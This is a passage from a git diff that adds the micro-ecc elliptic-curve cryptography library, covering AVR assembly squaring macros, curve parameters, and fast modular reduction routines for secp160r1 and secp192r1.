r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r19, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r20, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r21, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r2, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r6, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r20, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r21, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r2, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r3, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r21, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r7, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r3, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r8, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r4, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r5, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r9, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r6, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r7, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r10, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r8, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r9, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r11, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r10, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r11, r13 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r12, r12 \n\t" \ + "add r28, r0 \n\t" \ + "adc r29, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r28 \n\t" \ + \ + "ldi r28, 0 \n\t" \ + "mul r12, r13 \n\t" \ + "add r29, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r28, r25 \n\t" \ + "add r29, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r28, r25 \n\t" \ + "st z+, r29 \n\t" \ + \ + "mul r13, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r28 \n\t" \ + "eor r1, r1 \n\t" + +#endif /* _UECC_ASM_AVR_MULT_SQUARE_H_ */ diff --git a/client/libs/crypto/micro-ecc/curve-specific.inc b/client/libs/crypto/micro-ecc/curve-specific.inc new file mode 100644 index 0000000..15586c3 --- /dev/null +++ b/client/libs/crypto/micro-ecc/curve-specific.inc @@ -0,0 +1,1248 @@ +/* Copyright 2015, Kenneth MacKay. Licensed under the BSD 2-clause license. */ + +#ifndef _UECC_CURVE_SPECIFIC_H_ +#define _UECC_CURVE_SPECIFIC_H_ + +#define num_bytes_secp160r1 20 +#define num_bytes_secp192r1 24 +#define num_bytes_secp224r1 28 +#define num_bytes_secp256r1 32 +#define num_bytes_secp256k1 32 + +#if (uECC_WORD_SIZE == 1) + +#define num_words_secp160r1 20 +#define num_words_secp192r1 24 +#define num_words_secp224r1 28 +#define num_words_secp256r1 32 +#define num_words_secp256k1 32 + +#define BYTES_TO_WORDS_8(a, b, c, d, e, f, g, h) \ + 0x##a, 0x##b, 0x##c, 0x##d, 0x##e, 0x##f, 0x##g, 0x##h +#define BYTES_TO_WORDS_4(a, b, c, d) 0x##a, 0x##b, 0x##c, 0x##d + +#elif (uECC_WORD_SIZE == 4) + +#define num_words_secp160r1 5 +#define num_words_secp192r1 6 +#define num_words_secp224r1 7 +#define num_words_secp256r1 8 +#define num_words_secp256k1 8 + +#define BYTES_TO_WORDS_8(a, b, c, d, e, f, g, h) 0x##d##c##b##a, 0x##h##g##f##e +#define BYTES_TO_WORDS_4(a, b, c, d) 0x##d##c##b##a + +#elif (uECC_WORD_SIZE == 8) + +#define num_words_secp160r1 3 +#define num_words_secp192r1 3 +#define num_words_secp224r1 4 +#define num_words_secp256r1 4 +#define num_words_secp256k1 4 + +#define BYTES_TO_WORDS_8(a, b, c, d, e, f, g, h) 0x##h##g##f##e##d##c##b##a##ull +#define BYTES_TO_WORDS_4(a, b, c, d) 0x##d##c##b##a##ull + +#endif /* uECC_WORD_SIZE */ + +#if uECC_SUPPORTS_secp160r1 || uECC_SUPPORTS_secp192r1 || \ + uECC_SUPPORTS_secp224r1 || uECC_SUPPORTS_secp256r1 +static void double_jacobian_default(uECC_word_t * X1, + uECC_word_t * Y1, + uECC_word_t * Z1, + uECC_Curve curve) { + /* t1 = X, t2 = Y, t3 = Z */ + uECC_word_t t4[uECC_MAX_WORDS]; + uECC_word_t t5[uECC_MAX_WORDS]; + wordcount_t num_words = curve->num_words; + + if (uECC_vli_isZero(Z1, num_words)) { + return; + } + + uECC_vli_modSquare_fast(t4, Y1, curve); /* t4 = y1^2 */ + uECC_vli_modMult_fast(t5, X1, t4, curve); /* t5 = x1*y1^2 = A */ + uECC_vli_modSquare_fast(t4, t4, curve); /* t4 = y1^4 */ + uECC_vli_modMult_fast(Y1, Y1, Z1, curve); /* t2 = y1*z1 = z3 */ + uECC_vli_modSquare_fast(Z1, Z1, curve); /* t3 = z1^2 */ + + uECC_vli_modAdd(X1, X1, Z1, curve->p, num_words); /* t1 = x1 + z1^2 */ + uECC_vli_modAdd(Z1, Z1, Z1, curve->p, num_words); /* t3 = 2*z1^2 */ + uECC_vli_modSub(Z1, X1, Z1, curve->p, num_words); /* t3 = x1 - z1^2 */ + uECC_vli_modMult_fast(X1, X1, Z1, curve); /* t1 = x1^2 - z1^4 */ + + uECC_vli_modAdd(Z1, X1, X1, curve->p, num_words); /* t3 = 2*(x1^2 - z1^4) */ + uECC_vli_modAdd(X1, X1, Z1, curve->p, num_words); /* t1 = 3*(x1^2 - z1^4) */ + if (uECC_vli_testBit(X1, 0)) { + uECC_word_t l_carry = uECC_vli_add(X1, X1, curve->p, num_words); + uECC_vli_rshift1(X1, num_words); + X1[num_words - 1] |= l_carry << (uECC_WORD_BITS - 1); + } else { + uECC_vli_rshift1(X1, num_words); + } + /* t1 = 3/2*(x1^2 - z1^4) = B */ + + uECC_vli_modSquare_fast(Z1, X1, curve); /* t3 = B^2 */ + uECC_vli_modSub(Z1, Z1, t5, curve->p, num_words); /* t3 = B^2 - A */ + uECC_vli_modSub(Z1, Z1, t5, curve->p, num_words); /* t3 = B^2 - 2A = x3 */ + uECC_vli_modSub(t5, t5, Z1, curve->p, num_words); /* t5 = A - x3 */ + uECC_vli_modMult_fast(X1, X1, t5, curve); /* t1 = B * (A - x3) */ + uECC_vli_modSub(t4, X1, t4, curve->p, num_words); /* t4 = B * (A - x3) - y1^4 = y3 */ + + uECC_vli_set(X1, Z1, num_words); + uECC_vli_set(Z1, Y1, num_words); + uECC_vli_set(Y1, t4, num_words); +} + +/* Computes result = x^3 + ax + b. result must not overlap x. */ +static void x_side_default(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve) { + uECC_word_t _3[uECC_MAX_WORDS] = {3}; /* -a = 3 */ + wordcount_t num_words = curve->num_words; + + uECC_vli_modSquare_fast(result, x, curve); /* r = x^2 */ + uECC_vli_modSub(result, result, _3, curve->p, num_words); /* r = x^2 - 3 */ + uECC_vli_modMult_fast(result, result, x, curve); /* r = x^3 - 3x */ + uECC_vli_modAdd(result, result, curve->b, curve->p, num_words); /* r = x^3 - 3x + b */ +} +#endif /* uECC_SUPPORTS_secp... */ + +#if uECC_SUPPORT_COMPRESSED_POINT +#if uECC_SUPPORTS_secp160r1 || uECC_SUPPORTS_secp192r1 || \ + uECC_SUPPORTS_secp256r1 || uECC_SUPPORTS_secp256k1 +/* Compute a = sqrt(a) (mod curve_p). */ +static void mod_sqrt_default(uECC_word_t *a, uECC_Curve curve) { + bitcount_t i; + uECC_word_t p1[uECC_MAX_WORDS] = {1}; + uECC_word_t l_result[uECC_MAX_WORDS] = {1}; + wordcount_t num_words = curve->num_words; + + /* When curve->p == 3 (mod 4), we can compute + sqrt(a) = a^((curve->p + 1) / 4) (mod curve->p). */ + uECC_vli_add(p1, curve->p, p1, num_words); /* p1 = curve_p + 1 */ + for (i = uECC_vli_numBits(p1, num_words) - 1; i > 1; --i) { + uECC_vli_modSquare_fast(l_result, l_result, curve); + if (uECC_vli_testBit(p1, i)) { + uECC_vli_modMult_fast(l_result, l_result, a, curve); + } + } + uECC_vli_set(a, l_result, num_words); +} +#endif /* uECC_SUPPORTS_secp... */ +#endif /* uECC_SUPPORT_COMPRESSED_POINT */ + +#if uECC_SUPPORTS_secp160r1 + +#if (uECC_OPTIMIZATION_LEVEL > 0) +static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product); +#endif + +static const struct uECC_Curve_t curve_secp160r1 = { + num_words_secp160r1, + num_bytes_secp160r1, + 161, /* num_n_bits */ + { BYTES_TO_WORDS_8(FF, FF, FF, 7F, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_4(FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(57, 22, 75, CA, D3, AE, 27, F9), + BYTES_TO_WORDS_8(C8, F4, 01, 00, 00, 00, 00, 00), + BYTES_TO_WORDS_8(00, 00, 00, 00, 01, 00, 00, 00) }, + { BYTES_TO_WORDS_8(82, FC, CB, 13, B9, 8B, C3, 68), + BYTES_TO_WORDS_8(89, 69, 64, 46, 28, 73, F5, 8E), + BYTES_TO_WORDS_4(68, B5, 96, 4A), + + BYTES_TO_WORDS_8(32, FB, C5, 7A, 37, 51, 23, 04), + BYTES_TO_WORDS_8(12, C9, DC, 59, 7D, 94, 68, 31), + BYTES_TO_WORDS_4(55, 28, A6, 23) }, + { BYTES_TO_WORDS_8(45, FA, 65, C5, AD, D4, D4, 81), + BYTES_TO_WORDS_8(9F, F8, AC, 65, 8B, 7A, BD, 54), + BYTES_TO_WORDS_4(FC, BE, 97, 1C) }, + &double_jacobian_default, +#if uECC_SUPPORT_COMPRESSED_POINT + &mod_sqrt_default, +#endif + &x_side_default, +#if (uECC_OPTIMIZATION_LEVEL > 0) + &vli_mmod_fast_secp160r1 +#endif +}; + +uECC_Curve uECC_secp160r1(void) { return &curve_secp160r1; } + +#if (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp160r1) +/* Computes result = product % curve_p + see http://www.isys.uni-klu.ac.at/PDF/2001-0126-MT.pdf page 354 + + Note that this only works if log2(omega) < log2(p) / 2 */ +static void omega_mult_secp160r1(uECC_word_t *result, const uECC_word_t *right); +#if uECC_WORD_SIZE == 8 +static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product) { + uECC_word_t tmp[2 * num_words_secp160r1]; + uECC_word_t copy; + + uECC_vli_clear(tmp, num_words_secp160r1); + uECC_vli_clear(tmp + num_words_secp160r1, num_words_secp160r1); + + omega_mult_secp160r1(tmp, product + num_words_secp160r1 - 1); /* (Rq, q) = q * c */ + + product[num_words_secp160r1 - 1] &= 0xffffffff; + copy = tmp[num_words_secp160r1 - 1]; + tmp[num_words_secp160r1 - 1] &= 0xffffffff; + uECC_vli_add(result, product, tmp, num_words_secp160r1); /* (C, r) = r + q */ + uECC_vli_clear(product, num_words_secp160r1); + tmp[num_words_secp160r1 - 1] = copy; + omega_mult_secp160r1(product, tmp + num_words_secp160r1 - 1); /* Rq*c */ + uECC_vli_add(result, result, product, num_words_secp160r1); /* (C1, r) = r + Rq*c */ + + while (uECC_vli_cmp_unsafe(result, curve_secp160r1.p, num_words_secp160r1) > 0) { + uECC_vli_sub(result, result, curve_secp160r1.p, num_words_secp160r1); + } +} + +static void omega_mult_secp160r1(uint64_t *result, const uint64_t *right) { + uint32_t carry; + unsigned i; + + /* Multiply by (2^31 + 1). */ + carry = 0; + for (i = 0; i < num_words_secp160r1; ++i) { + uint64_t tmp = (right[i] >> 32) | (right[i + 1] << 32); + result[i] = (tmp << 31) + tmp + carry; + carry = (tmp >> 33) + (result[i] < tmp || (carry && result[i] == tmp)); + } + result[i] = carry; +} +#else +static void vli_mmod_fast_secp160r1(uECC_word_t *result, uECC_word_t *product) { + uECC_word_t tmp[2 * num_words_secp160r1]; + uECC_word_t carry; + + uECC_vli_clear(tmp, num_words_secp160r1); + uECC_vli_clear(tmp + num_words_secp160r1, num_words_secp160r1); + + omega_mult_secp160r1(tmp, product + num_words_secp160r1); /* (Rq, q) = q * c */ + + carry = uECC_vli_add(result, product, tmp, num_words_secp160r1); /* (C, r) = r + q */ + uECC_vli_clear(product, num_words_secp160r1); + omega_mult_secp160r1(product, tmp + num_words_secp160r1); /* Rq*c */ + carry += uECC_vli_add(result, result, product, num_words_secp160r1); /* (C1, r) = r + Rq*c */ + + while (carry > 0) { + --carry; + uECC_vli_sub(result, result, curve_secp160r1.p, num_words_secp160r1); + } + if (uECC_vli_cmp_unsafe(result, curve_secp160r1.p, num_words_secp160r1) > 0) { + uECC_vli_sub(result, result, curve_secp160r1.p, num_words_secp160r1); + } +} +#endif + +#if uECC_WORD_SIZE == 1 +static void omega_mult_secp160r1(uint8_t *result, const uint8_t *right) { + uint8_t carry; + uint8_t i; + + /* Multiply by (2^31 + 1). */ + uECC_vli_set(result + 4, right, num_words_secp160r1); /* 2^32 */ + uECC_vli_rshift1(result + 4, num_words_secp160r1); /* 2^31 */ + result[3] = right[0] << 7; /* get last bit from shift */ + + carry = uECC_vli_add(result, result, right, num_words_secp160r1); /* 2^31 + 1 */ + for (i = num_words_secp160r1; carry; ++i) { + uint16_t sum = (uint16_t)result[i] + carry; + result[i] = (uint8_t)sum; + carry = sum >> 8; + } +} +#elif uECC_WORD_SIZE == 4 +static void omega_mult_secp160r1(uint32_t *result, const uint32_t *right) { + uint32_t carry; + unsigned i; + + /* Multiply by (2^31 + 1). */ + uECC_vli_set(result + 1, right, num_words_secp160r1); /* 2^32 */ + uECC_vli_rshift1(result + 1, num_words_secp160r1); /* 2^31 */ + result[0] = right[0] << 31; /* get last bit from shift */ + + carry = uECC_vli_add(result, result, right, num_words_secp160r1); /* 2^31 + 1 */ + for (i = num_words_secp160r1; carry; ++i) { + uint64_t sum = (uint64_t)result[i] + carry; + result[i] = (uint32_t)sum; + carry = sum >> 32; + } +} +#endif /* uECC_WORD_SIZE */ +#endif /* (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp160r1) */ + +#endif /* uECC_SUPPORTS_secp160r1 */ + +#if uECC_SUPPORTS_secp192r1 + +#if (uECC_OPTIMIZATION_LEVEL > 0) +static void vli_mmod_fast_secp192r1(uECC_word_t *result, uECC_word_t *product); +#endif + +static const struct uECC_Curve_t curve_secp192r1 = { + num_words_secp192r1, + num_bytes_secp192r1, + 192, /* num_n_bits */ + { BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FE, FF, FF, FF, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(31, 28, D2, B4, B1, C9, 6B, 14), + BYTES_TO_WORDS_8(36, F8, DE, 99, FF, FF, FF, FF), + BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) }, + { BYTES_TO_WORDS_8(12, 10, FF, 82, FD, 0A, FF, F4), + BYTES_TO_WORDS_8(00, 88, A1, 43, EB, 20, BF, 7C), + BYTES_TO_WORDS_8(F6, 90, 30, B0, 0E, A8, 8D, 18), + + BYTES_TO_WORDS_8(11, 48, 79, 1E, A1, 77, F9, 73), + BYTES_TO_WORDS_8(D5, CD, 24, 6B, ED, 11, 10, 63), + BYTES_TO_WORDS_8(78, DA, C8, FF, 95, 2B, 19, 07) }, + { BYTES_TO_WORDS_8(B1, B9, 46, C1, EC, DE, B8, FE), + BYTES_TO_WORDS_8(49, 30, 24, 72, AB, E9, A7, 0F), + BYTES_TO_WORDS_8(E7, 80, 9C, E5, 19, 05, 21, 64) }, + &double_jacobian_default, +#if uECC_SUPPORT_COMPRESSED_POINT + &mod_sqrt_default, +#endif + &x_side_default, +#if (uECC_OPTIMIZATION_LEVEL > 0) + &vli_mmod_fast_secp192r1 +#endif +}; + +uECC_Curve uECC_secp192r1(void) { return &curve_secp192r1; } + +#if (uECC_OPTIMIZATION_LEVEL > 0) +/* Computes result = product % curve_p. + See algorithm 5 and 6 from http://www.isys.uni-klu.ac.at/PDF/2001-0126-MT.pdf */ +#if uECC_WORD_SIZE == 1 +static void vli_mmod_fast_secp192r1(uint8_t *result, uint8_t *product) { + uint8_t tmp[num_words_secp192r1]; + uint8_t carry; + + uECC_vli_set(result, product, num_words_secp192r1); + + uECC_vli_set(tmp, &product[24], num_words_secp192r1); + carry = uECC_vli_add(result, result, tmp, num_words_secp192r1); + + tmp[0] = tmp[1] = tmp[2] = tmp[3] = tmp[4] = tmp[5] = tmp[6] = tmp[7] = 0; + tmp[8] = product[24]; tmp[9] = product[25]; tmp[10] = product[26]; tmp[11] = product[27]; + tmp[12] = product[28]; tmp[13] = product[29]; tmp[14] = product[30]; tmp[15] = product[31]; + tmp[16] = product[32]; tmp[17] = product[33]; tmp[18] = product[34]; tmp[19] = product[35]; + tmp[20] = product[36]; tmp[21] = product[37]; tmp[22] = product[38]; tmp[23] = product[39]; + carry += uECC_vli_add(result, result, tmp, num_words_secp192r1); + + tmp[0] = tmp[8] = product[40]; + tmp[1] = tmp[9] = product[41]; + tmp[2] = tmp[10] = product[42]; + tmp[3] = tmp[11] = product[43]; + tmp[4] = tmp[12] = product[44]; + tmp[5] = tmp[13] = product[45]; + tmp[6] = tmp[14] = product[46]; + tmp[7] = tmp[15] = product[47]; + tmp[16] = tmp[17] = tmp[18] = tmp[19] = tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0; + carry += uECC_vli_add(result, result, tmp, num_words_secp192r1); + + while (carry || uECC_vli_cmp_unsafe(curve_secp192r1.p, result, num_words_secp192r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp192r1.p, num_words_secp192r1); + } +} +#elif uECC_WORD_SIZE == 4 +static void vli_mmod_fast_secp192r1(uint32_t *result, uint32_t *product) { + uint32_t tmp[num_words_secp192r1]; + int carry; + + uECC_vli_set(result, product, num_words_secp192r1); + + uECC_vli_set(tmp, &product[6], num_words_secp192r1); + carry = uECC_vli_add(result, result, tmp, num_words_secp192r1); + + tmp[0] = tmp[1] = 0; + tmp[2] = product[6]; + tmp[3] = product[7]; + tmp[4] = product[8]; + tmp[5] = product[9]; + carry += uECC_vli_add(result, result, tmp, num_words_secp192r1); + + tmp[0] = tmp[2] = product[10]; + tmp[1] = tmp[3] = product[11]; + tmp[4] = tmp[5] = 0; + carry += uECC_vli_add(result, result, tmp, num_words_secp192r1); + + while (carry || uECC_vli_cmp_unsafe(curve_secp192r1.p, result, num_words_secp192r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp192r1.p, num_words_secp192r1); + } +} +#else +static void vli_mmod_fast_secp192r1(uint64_t *result, uint64_t *product) { + uint64_t tmp[num_words_secp192r1]; + int carry; + + uECC_vli_set(result, product, num_words_secp192r1); + + uECC_vli_set(tmp, &product[3], num_words_secp192r1); + carry = (int)uECC_vli_add(result, result, tmp, num_words_secp192r1); + + tmp[0] = 0; + tmp[1] = product[3]; + tmp[2] = product[4]; + carry += uECC_vli_add(result, result, tmp, num_words_secp192r1); + + tmp[0] = tmp[1] = product[5]; + tmp[2] = 0; + carry += uECC_vli_add(result, result, tmp, num_words_secp192r1); + + while (carry || uECC_vli_cmp_unsafe(curve_secp192r1.p, result, num_words_secp192r1) != 1) { + carry -= uECC_vli_sub(result, result, curve_secp192r1.p, num_words_secp192r1); + } +} +#endif /* uECC_WORD_SIZE */ +#endif /* (uECC_OPTIMIZATION_LEVEL > 0) */ + +#endif /* uECC_SUPPORTS_secp192r1 */ + +#if uECC_SUPPORTS_secp224r1 + +#if uECC_SUPPORT_COMPRESSED_POINT +static void mod_sqrt_secp224r1(uECC_word_t *a, uECC_Curve 